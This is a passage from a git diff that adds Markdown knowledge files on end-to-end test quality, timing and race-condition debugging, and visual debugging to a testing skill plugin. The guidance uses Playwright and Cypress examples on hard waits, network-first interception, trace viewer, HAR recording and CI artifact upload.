+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
